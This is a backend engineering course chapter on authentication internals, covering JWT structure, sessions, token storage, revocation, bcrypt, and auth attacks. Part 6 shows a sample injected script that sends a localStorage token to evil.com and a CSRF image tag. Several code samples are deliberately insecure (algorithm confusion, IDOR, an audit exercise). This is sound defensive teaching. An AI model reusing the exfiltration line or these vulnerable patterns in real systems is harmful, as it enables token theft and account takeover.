Phase 4 · Chapter 3
Authentication Internals
What a JWT actually is, why httpOnly beats localStorage, and what gets stolen in an attack
What this chapter does to you: Most engineers implement auth by copying an example. They don't know what's inside a JWT, why sessions and tokens are fundamentally different architectures, or what an attacker actually steals in a credential attack. After this chapter, you will understand auth at the layer where security decisions are made — not the layer where libraries are chosen.
Part 1: Two Problems, One Word
"Authentication" is used to mean two different things. Engineers confuse them constantly.
Authentication: Who are you? Proving identity.
"I am user:123" — backed by a password, biometric, OTP, or token.
Authorization: What are you allowed to do? Checking permissions.
"user:123 is allowed to view test:xyz" — role checks, ownership checks.
A JWT handles authentication — it asserts identity. Your middleware handles authorization — it checks permissions.
These are separate concerns. A token can authenticate perfectly and your authorization logic can still be wrong. Know which layer has the bug.
Part 2: HTTP is Stateless — The Core Problem
HTTP has no memory. Every request is independent.
The server receives GET /dashboard. The HTTP protocol contains no built-in
concept of "who is asking." Each request arrives cold — no context from
previous requests.
But your app needs to know who's asking. A student loads their dashboard — you need to know which student. How?
You must attach identity to every request yourself. Two architectures exist:
Architecture 1: Sessions (stateful)
Identity stored on SERVER. Client holds a reference (session ID).
Architecture 2: Tokens (stateless)
Identity stored in the TOKEN. Server holds nothing.
These are not just implementation choices — they are fundamentally different system designs with different scaling, security, and revocation properties.
Part 3: Sessions — Stateful Identity
How Sessions Work
The critical property: The session ID is a random opaque token. It has no meaning by itself. It's just a pointer to data stored on the server.
Advantages of sessions:
- Instant revocation: delete the Redis key, session is dead immediately. If you ban a user, their next request fails, period.
- Small cookie: just a random string, no user data exposed to the client.
- Server controls exactly what's in the session.
Disadvantages of sessions:
- Stateful: every request hits Redis for a session lookup. Extra network hop + Redis read on every request.
- Scaling: all your app instances must share the same Redis. Can't just add app servers without thinking about session storage.
- Redis becomes a critical dependency — if it goes down, all sessions die.
Part 4: JWT — Stateless Identity, Byte by Byte
What a JWT Actually Is
A JWT (JSON Web Token) is a string with three parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiJ1c2VyOjEyMyIsInJvbGUiOiJzdHVkZW50IiwiZXhwIjoxNzA1MzEyODAwLCJpYXQiOjE3MDUyMjY0MDB9
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Three base64url-encoded parts: HEADER.PAYLOAD.SIGNATURE
Let's decode them:
Part 1 — Header (base64url decode):
{
"alg": "HS256",
"typ": "JWT"
}
Says: "this token was signed with HMAC-SHA256."
Part 2 — Payload (base64url decode):
{
"sub": "user:123",
"role": "student",
"exp": 1705312800,
"iat": 1705226400
}
sub = subject (who the token represents)
exp = expiry timestamp (Unix seconds). Token invalid after this.
iat = issued at timestamp.
role = custom claim you added.
Part 3 — Signature:
HMAC-SHA256(
base64url(header) + "." + base64url(payload),
YOUR_SECRET_KEY
)
The signature is a cryptographic proof that the header and payload were not tampered with. Anyone with the secret key can verify it. Anyone without it cannot forge it.
The Verification Process
When your server receives a JWT:
// What jwt.verify() actually does internally:
function verify(token, secret) {
const [headerB64, payloadB64, signatureB64] = token.split('.')
// 1. Recompute the expected signature
const expectedSig = HMAC_SHA256(headerB64 + '.' + payloadB64, secret)
// 2. Compare with received signature
if (expectedSig !== base64urlDecode(signatureB64)) {
throw new Error('Invalid signature — token was tampered with')
}
// 3. Check expiry
const payload = JSON.parse(base64urlDecode(payloadB64))
if (payload.exp < Date.now() / 1000) {
throw new Error('Token expired')
}
return payload // trusted identity
}
The key insight: The server doesn't look anything up. No database, no Redis, no network call. It just recomputes the HMAC and compares. This is why JWTs are called stateless — verification is pure computation.
What base64url Is (and Is Not)
Base64url is encoding, NOT encryption. Anyone can decode it.
Buffer.from('eyJzdWIiOiJ1c2VyOjEyMyIsInJvbGUiOiJzdHVkZW50In0', 'base64').toString()
// → {"sub":"user:123","role":"student"}
The payload of a JWT is readable by anyone who has the token. Never put sensitive data in a JWT payload. No passwords, no payment data, no personal information beyond what's needed for identity.
The signature prevents tampering — but it doesn't hide the content.
Part 5: HS256 vs RS256 — An Architecture Decision
This is where most engineers pick one and move on. The choice actually has significant security implications in multi-service architectures.
HS256 — Symmetric
HMAC-SHA256 with a shared secret. The same key signs tokens and verifies them.
Auth server: signs token with SECRET_KEY
API server: verifies token with SECRET_KEY ← same key
The problem with HS256 in microservices:
If you have 10 services all verifying JWTs, all 10 must have SECRET_KEY.
A compromise of any one service = an attacker who can forge tokens.
They have the signing key. They can create { sub: "admin", role: "superuser" }.
Use HS256 when: You have a monolith or a single trusted service. AttemptIQ as a Next.js monolith — HS256 is fine. One service, one secret.
RS256 — Asymmetric
RSA with a key pair: private key for signing, public key for verifying.
Auth server: signs token with PRIVATE KEY (kept secret, never shared)
API server: verifies token with PUBLIC KEY (public, anyone can have it)
The public key can only verify — it cannot sign. A compromised API server can verify tokens but cannot forge them. The private key stays on the auth server alone.
Use RS256 when:
- Multiple services verify tokens (microservices)
- Third parties need to verify your tokens (OAuth provider)
- Zero trust between services — even internal services shouldn't be able to forge
The practical rule: Monolith or two services → HS256, simpler. Microservices or third-party token verification → RS256, safer.
Part 6: The Token Storage Problem — httpOnly vs localStorage
You have a JWT. Where does the browser store it?
Two options. Both are used. One is wrong for most applications.
Option 1: localStorage
// After login:
localStorage.setItem('token', jwt)
// On every request:
fetch('/api/tests', {
headers: { 'Authorization': `Bearer ${localStorage.getItem('token')}` }
})
Simple. Works. Widely used.
The fatal flaw: XSS (Cross-Site Scripting)
If an attacker can inject JavaScript into your page — through a comment field, a third-party script, a dependency with malicious code — they can do:
// Attacker's injected script:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
localStorage is accessible to any JavaScript running on your domain.
There is no API to restrict access to it. Any XSS = token stolen = full account takeover.
XSS is the most common web vulnerability. Stored XSS, reflected XSS, third-party script compromise (your analytics library gets hacked) — all of these become account takeovers if you store tokens in localStorage.
Option 2: httpOnly Cookie
// Server sets cookie on login response:
res.cookie('token', jwt, {
httpOnly: true, // ← JavaScript cannot read this cookie
secure: true, // ← only sent over HTTPS
sameSite: 'Strict' // ← only sent to your own domain
})
// Browser sends cookie automatically on every request
// No JavaScript needed, no localStorage needed
httpOnly means: this cookie is not accessible via document.cookie
or any JavaScript API. Period. Even if an attacker injects JS into your page,
they cannot read an httpOnly cookie.
The browser sends it automatically with every request to your domain.
Your server reads req.cookies.token — no client-side code needed.
But wait — CSRF?
Because the browser sends cookies automatically, a malicious site can trick a logged-in user's browser into making a request to your API:
<!-- On evil.com: -->
<img src="https://attemptiq.com/api/delete-account" />
The browser fetches that URL. The cookie is sent. The request executes. This is CSRF (Cross-Site Request Forgery).
The fix: SameSite=Strict
SameSite=Strict means: only send this cookie if the request originates
from your own domain. A request triggered by evil.com does not send the cookie.
CSRF neutralized.
The correct configuration:
res.cookie('token', jwt, {
httpOnly: true, // blocks XSS token theft
secure: true, // blocks network interception
sameSite: 'Strict' // blocks CSRF
})
This combination is immune to both XSS theft and CSRF. localStorage is immune to CSRF but vulnerable to XSS.
The rule: Use httpOnly cookies for auth tokens in web applications. Use localStorage only when you have specific reasons (cross-domain auth, native mobile apps) and understand the risk you're accepting.
Part 7: The JWT Revocation Problem
Sessions can be revoked instantly: delete the Redis key. JWTs cannot — this is the fundamental tradeoff.
A JWT is valid until it expires. If a user:
- Logs out
- Changes their password
- Gets banned by an admin
- Their device gets stolen
Their JWT is still valid until exp. You cannot un-issue a JWT.
Solution 1: Short Expiry
Make access tokens short-lived — 15 minutes. Even if stolen, the attacker has a narrow window.
But: user gets logged out every 15 minutes. Bad UX.
Solution 2: Refresh Tokens
The standard industry solution. Two tokens:
Access token: Short-lived JWT (15 minutes). Stateless. Verified without DB. Used for every API request.
Refresh token: Long-lived (7 days). Stored in database. Can be revoked. Used only to get a new access token.
Refresh token rotation: Every time a refresh token is used, it's replaced with a new one. The old one is invalidated. This limits the damage of a stolen refresh token — using it generates a new one, invalidating the old, which triggers a logout on the legitimate user who tries to use their copy. Legitimate user notices they're logged out. Security alert.
Solution 3: Denylist (Token Blocklist)
On logout or ban, add the JWT's jti (JWT ID claim) to a Redis set.
// On logout:
await redis.sadd('token:denylist', jti)
await redis.expireat('token:denylist:' + jti, exp) // auto-expire with token
// On verify:
const isDenied = await redis.sismember('token:denylist', payload.jti)
if (isDenied) throw new Error('Token revoked')
This restores instant revocation but adds a Redis lookup per request. You've effectively made JWTs stateful again. You're paying the session cost without the session simplicity. Only use this for emergency revocation (security incidents) — not as the primary revocation mechanism.
Part 8: What Actually Gets Stolen in an Auth Attack
Theory is one thing. Let's trace what an attacker actually does.
Attack 1: XSS Token Theft
Prevention: httpOnly cookies (token never in localStorage), Content Security Policy headers (restrict which scripts can run), input sanitization (strip HTML from user inputs).
Attack 2: Credential Stuffing
1. A different site has a breach. 10 million email:password pairs leaked.
2. Attacker runs automated tool against POST /login.
3. Many users reuse passwords. 2% match = 200,000 successful logins.
4. Attacker accesses those accounts.
Prevention: Rate limiting on /login (Chapter 2 — now you know why),
bcrypt for password storage (slow hashing = slow brute force),
multi-factor authentication.
Attack 3: JWT Algorithm Confusion (The Dangerous Bug)
This is a real class of vulnerability in JWT libraries.
A JWT has "alg": "HS256" or "alg": "RS256" in its header.
Some vulnerable libraries trust the algorithm specified in the header.
Attack: take an RS256 token, change "alg" to "HS256", re-sign
using the server's public key (which is... public) as the HMAC secret.
If the server uses the algorithm from the token's header:
// VULNERABLE
const alg = JSON.parse(decode(header)).alg // attacker controls this
verify(token, publicKey, { algorithm: alg }) // uses HS256 with public key as secret
// attacker knows the public key
// attacker can forge tokens
Prevention: Always specify allowed algorithms explicitly:
jwt.verify(token, secret, { algorithms: ['HS256'] }) // never trust the header
Never let the token header dictate which algorithm to use for verification.
Attack 4: Insecure Direct Object Reference (IDOR)
Not strictly an auth attack but the most common auth-adjacent bug.
// WRONG — trusts the URL parameter
app.get('/api/results/:testId', async (req, res) => {
const results = await db.query(
'SELECT * FROM results WHERE test_id = $1',
[req.params.testId]
)
res.json(results)
})
User:123 is authenticated. But nothing checks that test:xyz belongs to user:123. They can request any test ID and get any results.
// CORRECT — always scope queries to authenticated user
app.get('/api/results/:testId', async (req, res) => {
const results = await db.query(
'SELECT * FROM results WHERE test_id = $1 AND user_id = $2',
[req.params.testId, req.user.id] // req.user.id from verified JWT
)
res.json(results)
})
Authentication tells you who's asking. Authorization tells you what they can access. Never query without scoping to the authenticated user.
Part 9: Password Storage — What bcrypt Is Doing
When a user registers, you store their password. Never as plaintext.
Why not MD5/SHA256?
MD5("password123") = 482c811da5d5b4bc6d497ffa98491e38
// An attacker with your DB runs:
// rainbow table lookup → instant
// or brute force: 10 billion MD5s/second on a GPU
// "password123" found in microseconds
MD5 and SHA256 are designed to be fast. For password hashing, fast is wrong.
bcrypt deliberately runs slowly.
const hash = await bcrypt.hash('password123', 10)
// → "$2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"
The 10 is the cost factor — bcrypt runs 2^10 = 1,024 internal iterations.
This takes ~100ms on modern hardware. For a legitimate login, 100ms is imperceptible.
For an attacker trying billions of passwords: 100ms × billions = years.
What the hash string contains:
$2b$10$N9qo8uLOickgx2ZMRZoMye IjZAgcfl7p92ldGxad68LJZdL17lhWy
↑ ↑ ←─── 22 chars salt ───→ ←────────── 31 chars hash ─────────→
alg cost
The salt is stored inside the hash string — no separate storage needed. Every password gets a unique random salt, so two users with the same password have different hashes. Rainbow tables are useless.
Verification:
const match = await bcrypt.compare('password123', storedHash)
// bcrypt extracts salt from storedHash, re-runs with same cost, compares
argon2 is the modern recommendation over bcrypt — won the Password Hashing Competition, more resistant to GPU attacks. For new projects: use argon2. For existing bcrypt: don't migrate unless you have a specific threat reason.
Part 10: The Vocabulary Map
| Word | What it actually is |
|---|---|
Authentication | Proving identity. Who are you? |
Authorization | Checking permissions. What can you do? |
Session | Stateful auth. Random ID → server-stored data. Revocable instantly. |
JWT | Stateless token. Header.Payload.Signature. Server stores nothing. |
base64url | Encoding, NOT encryption. Payload is readable. Never put secrets in payload. |
HS256 | HMAC-SHA256. Symmetric. Same key signs and verifies. |
RS256 | RSA. Asymmetric. Private key signs, public key verifies. For microservices. |
httpOnly cookie | Cookie JavaScript cannot read. Immune to XSS token theft. |
SameSite=Strict | Cookie only sent to same domain. Blocks CSRF. |
XSS | Cross-Site Scripting. Injected JS steals tokens from localStorage. |
CSRF | Cross-Site Request Forgery. Malicious site triggers request using auto-sent cookies. |
Access token | Short-lived JWT (15 min). Stateless. Fast verification. |
Refresh token | Long-lived token in DB. Used to get new access tokens. Revocable. |
Token rotation | Each refresh token use issues a new one, invalidates old. Detects theft. |
Denylist | Redis set of revoked token JTIs. Restores revocability at cost of Redis lookup. |
IDOR | Insecure Direct Object Reference. Auth without ownership check. Extremely common. |
bcrypt | Deliberately slow password hash. Cost factor = iterations. Salt built in. |
Algorithm confusion | Attack where attacker changes JWT alg header. Fix: specify allowed algs. |
jti | JWT ID claim. Unique identifier per token. Used for denylist. |
exp / iat | JWT expiry and issued-at timestamps. Always validate exp. |
Part 11: Practice Problems
Problem 1 (Architecture Decision):
AttemptIQ currently uses sessions stored in Redis.
You're planning to split into two services: web-app and grading-service.
The grading service needs to know which user triggered a grading job.
Should you switch to JWTs? If so, HS256 or RS256? What happens to your session infrastructure? What do you gain and lose with each option?
Problem 2 (Security Audit): You review a colleague's auth implementation:
// Login handler
app.post('/login', async (req, res) => {
const { email, password } = req.body
const user = await db.query('SELECT * FROM users WHERE email = $1', [email])
if (!user || user.password !== password) {
return res.status(401).json({ error: 'Invalid credentials' })
}
const token = jwt.sign({ userId: user.id }, process.env.JWT_SECRET)
res.json({ token })
})
// Auth middleware
app.use((req, res, next) => {
const token = req.headers.authorization?.split(' ')[1]
const payload = jwt.decode(token) // not verify — decode
req.user = payload
next()
})
// Protected route
app.get('/api/my-results', async (req, res) => {
const results = await db.query('SELECT * FROM results WHERE user_id = $1',
[req.user.userId])
res.json(results)
})
Find every security vulnerability. There are at least five. For each one: name it, explain what an attacker can do, explain the fix.
Problem 3 (Token Design): AttemptIQ adds a "school admin" role. School admins can view all students' results within their school.
A school admin's JWT contains:
{ "sub": "user:456", "role": "school_admin", "schoolId": "school:789" }
Your query:
const results = await db.query(
'SELECT * FROM results WHERE school_id = $1',
[req.user.schoolId] // from JWT payload
)
Is there a vulnerability here? What happens if someone modifies the JWT?
Does the answer change if you use HS256 vs if you forgot to call jwt.verify()?
Problem 4 (Refresh Token Design): You implement refresh tokens. A user logs in on their phone. Their phone gets stolen.
Walk through exactly what happens:
- The attacker has the refresh token cookie from the stolen phone.
- The legitimate user logs into a new phone.
- With token rotation enabled, what happens when BOTH try to use a refresh token?
- How does rotation detect the theft and protect the account?
Problem 5 (Go Deeper — Connect All Chapters): A user hits your login endpoint. The full stack is: DNS → TCP → TLS → HTTP → Nginx → Node.js → bcrypt → Postgres → JWT → Redis
Trace the complete journey of a successful login — what happens at each layer, from the moment the user's browser sends the request to the moment the JWT is set as an httpOnly cookie.
Use vocabulary from Phase 1 Chapter 2 (DNS, TCP, TLS, HTTP), Phase 2 Chapter 1 (Postgres, transactions), Chapter 1 of Phase 4 (caching — for session consideration), and this chapter.
This is a complete system design answer. Interviewers love this question.
Where We Are in Phase 4
Phase 4 — Backend Patterns
✅ Chapter 1: Caching (Redis internals, eviction, stampede)
✅ Chapter 2: Rate Limiting (5 algorithms, race conditions, Lua atomicity)
✅ Chapter 3: Auth (JWT internals, sessions, httpOnly, attacks)
⬜ Chapter 4: Queues (BullMQ internals, exactly how it works beneath)
⬜ Chapter 5: Observability (logs, metrics, tracing)
⬜ Chapter 6: Load Balancing (algorithms, health checks, zero-downtime deploys)
Three more chapters and Phase 4 is complete. After that, we enter Phase 5 — System Design case studies. That's where everything you've learned becomes a weapon in classic problems: URL Shortener, Twitter Feed, YouTube, WhatsApp, Uber.
End of Phase 4, Chapter 3. Estimated reading time: 70-85 minutes. Practice problems: 60-90 minutes. Do not proceed to Chapter 4 until you can answer Problem 2 completely — finding all five vulnerabilities. That audit exercise is the difference between an engineer who writes auth code and one who writes secure auth code.